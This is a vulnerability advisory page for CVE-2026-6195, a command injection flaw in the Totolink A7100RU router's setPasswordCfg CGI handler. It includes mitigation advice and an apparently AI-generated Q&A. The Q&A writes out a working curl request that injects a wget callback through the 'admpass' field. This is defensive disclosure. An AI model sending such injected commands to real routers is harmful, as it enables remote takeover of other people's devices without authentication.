CVE-2026-6195
OS Command Injection in Totolink A7100RU CGI Handler (setPasswordCfg
Publication date: 2026-04-13
Last updated on: 2026-04-13
Assigner: VulDB
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| totolink | a7100ru | 7.4cu.2313_b20191024 |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-77 | The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. |
| CWE-78 | The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2026-6195 is a command injection vulnerability in the TOTOLINK A7100RU router, version 7.4cu.2313_b20191024. It exists in the CGI Handler component, specifically in the setPasswordCfg function of the /cgi-bin/cstecgi.cgi script. The vulnerability arises because the user-supplied parameter "admpass" is improperly handled and passed to a system command execution function, allowing an attacker to inject and execute arbitrary operating system commands remotely.
An attacker can exploit this by sending a crafted POST request with a malicious "admpass" value, which the router executes. For example, the injected command could be something like `wget 192.168.6.1:7777/testpoc`, demonstrating arbitrary command execution on the device.
How can this vulnerability impact me? :
This vulnerability allows remote attackers to execute arbitrary operating system commands on the affected TOTOLINK A7100RU router without any authentication. This can lead to complete compromise of the device, including unauthorized access, control over network traffic, installation of malicious software, data theft, or disruption of network services.
Because the exploit can be executed remotely and without user interaction, it poses a significant security risk to any network using the vulnerable router.
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by sending a crafted POST request to the /cgi-bin/cstecgi.cgi endpoint with a JSON payload containing a malicious "admpass" parameter. If the device executes the injected command, it is vulnerable.
For example, you can test by sending a POST request with a payload that attempts to execute a harmless command such as a wget request to a controlled server.
- Use curl to send a test POST request: curl -X POST http://<router-ip>/cgi-bin/cstecgi.cgi -d '{"admpass":"; wget http://<your-ip>:7777/testpoc;"}' -H 'Content-Type: application/json'
- Monitor your controlled server for incoming wget requests to confirm command execution.
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
The vulnerability allows remote attackers to execute arbitrary operating system commands on the affected Totolink A7100RU router. This can lead to unauthorized access, data breaches, and potential compromise of sensitive information.
Such security weaknesses can negatively impact compliance with common standards and regulations like GDPR and HIPAA, which require protection of personal and sensitive data against unauthorized access and breaches.
Specifically, exploitation of this vulnerability could result in exposure or manipulation of personal data, violating data protection requirements and potentially leading to legal and financial consequences under these regulations.
What immediate steps should I take to mitigate this vulnerability?
To mitigate the CVE-2026-6195 vulnerability, immediate steps include restricting remote access to the affected TOTOLINK A7100RU router, especially to the /cgi-bin/cstecgi.cgi endpoint.
Avoid exposing the device to untrusted networks and monitor network traffic for suspicious POST requests containing the 'admpass' parameter.
If possible, apply any available firmware updates or patches from the vendor that address this command injection vulnerability.
As a temporary workaround, consider disabling or restricting the CGI Handler component or the vulnerable function if device configuration allows.